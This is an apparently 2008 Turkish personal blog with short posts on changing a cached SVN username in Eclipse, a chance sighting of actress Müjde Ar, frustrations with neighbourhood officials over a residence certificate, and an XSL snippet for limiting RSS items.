epey aradım ama bunun uygun bir yolunu bulamadım fakat bildiğim benim kullanici adim sistemde selman olarak gorunuyordu. ufak bir arastirma subclipse die bi nane bu eclipse deki team konusunun svn işini halledio daha da derinlerden şöle bir path buldum

C:\Documents and Settings\[USERNAME]\Application Data\Subversion

bunun içinde bi işler var dedim başladım kurcalamaya.

C:\Documents and Settings\[USERNAME]\Application Data\Subversion\auth\svn.simple

pathinde bdeec7d99c4be6a5a3oo9ee476cf4eeb gibi kargacık burgacık isimli bir dosya bunun içinde de selman yazan bir satır açtım notepad ile değiştirdim onu ozkan yazdim kaydettim. eclipse restart ettim. update dedim bi arıza yok ama commit dediğimde svn carladı authorization failed :) tada girdim kendi kullanıcı adımla şifremi ve ilk deneme commitimi yaptım.eclipse svn username change diye aramalara rağmen bulamadığım bu çözüm dirty hacker tayfa tarafından kullanılabilir.

Müjde Ar

ufaklıktan beridir izlediğimiz efsane filmleriyle aklımıza yer etmiş kişi :) aslında erkekler daha bi hayranıdır güzel kadın. neyse az evel akbil doldururken akbil burdamı dolduruluyor diye biri sordu bende baktım evet dedim sonra aa diyip merhaba dedim oda merhaba dedi ama aptal oldum :)

kimse beklemez metro durağında müjde ar'ı görsün :) ya ben şaştım çok benzeyen biriydi yada kendisiydi ama orda ne işi vardı. neyse velhasılı rahatsız etmedim işim bitti iyigünler dedim uzaklaştım. snob olmayan gayet güzel insan.

Thursday, January 10, 2008

ikamet ilmuhaberi

neciymiş bu muhtarlar sabahdan beridir yollardayım. önce beykente gittim ordaki muhtar benden çıkışı aldın ancak onu tekrar verebilirim dio dedim başka yolu yokmu yok dedi iyi dedim onu aldım 3 lira götürdüm istinyeye. istinyedeki muhtar dio kira kontratın olmadan senin kaydını yapmam. dedim bende 4 leventde oturuom artık.

yok istinyedeki muhtar yapmıo işi napıcam dedim peki bana ikamet lazım. dedi hukuken nüfus dairesine gider kaydını yaparsın sonra muhtarlığa gider kayıt olursun iyi dedim gittim kağıthane nüfus dairesine kaydımı oluom bide ne görem taa liseden bi arkadaşımın kardeşi memur hoş beş ettik aldım kağıdı gittim emniyet evler muhtarlığına olmaz dio adam.

hepsi kıl hepsi ters. anlattım durumu bu hukuken böleymiş daha ben napim. dedi git kira sözleşmesindeki kiralayan yerine kendi adını yaz. bakarmısın duruma sahte evrak düzenleten muhtarlık :D iyi dedim onuda yaptım döndüm herif yok. yine alamadım ikamet belgesini. bu kadar manasız bir adamın bu kadar kıl olması gibi bir durumu sadece muhtarlarda görmüş oldum. hepsi ters hepsi kıl. sanki kötü adam benim gibi muamele yemek insanı fena geriyor.

Sunday, January 06, 2008

Yazılım geliştirme Süreci


geçen aklıma geldi bu resim bulamadımdı şimdi buldum koyim burda dursun. özünde müşterinin ne istediğini ne şekilde anlaşılamadığını ve sonuçta programcının ortaya koyduğu gereksiz ürünü anlatıyor. komik ama yazılım projelerinin %70 i bundan çöküyor diye duymuştum.

XML ve XSL kardeşliği

bu konu epey eski. xml veri saklamakda ve taşımakda epey sıklıkla kullanılan bir format. gayet basit de bir mantığı var. xsl de bu xml verilerini şekle sokmaya yarayan stil yazımı. örnek olarak herhangi bi yerden gelen belli bir formattaki xml bir xsl e tabii tutulup sonuçda html çıktısı alınıyor ve kullanıcıya sunuluyor.

sabah sabah bi RSS reader ile uraşıyorum ve rss leri bir türlü sınırlayamıyorum en az 100 tane geliyor. C# ile bızdıkladım biraz ama bir türlü ilk 5 tanesini gösterir duruma getiremedim sonra aramalar sonucu öğrendimki C# a hiç gerek yokmuş zaten rss ile aldığım xml veriyi ben bir xsl den geçiriyordum. ve XSL bu işi becerebiliomuş azcık nazlandı ama not edelim örnek kod:

<xsl:for-each select="//*[local-name()='item'][position() &lt; 12]">

daha önceki hali <xsl:for-each select="channel/item"> şeklinde olan xsl bütün rss i alıp gösteriyordu tabiiki buda 100k dan fazla bi çıktıya sebep oluyordu. üstteki örnek kod sayesinde ilk 12 item gösteriliyor.

aslında çoğu zaman işler böyle çözülebiliyor geçende gridview da bir cell deki veriyi h1 tagları arasında göstermek için C# ile uraştıktan sonra database den direk h1 lemek geldi aklıma bu sayede frameworkü hiç yormadan database de iş bitmiş oldu.

odd string diff

 https://leetcode.com/problems/odd-string-difference/ Beats 19.92% of users with Java   class Solution { public String oddString ( S...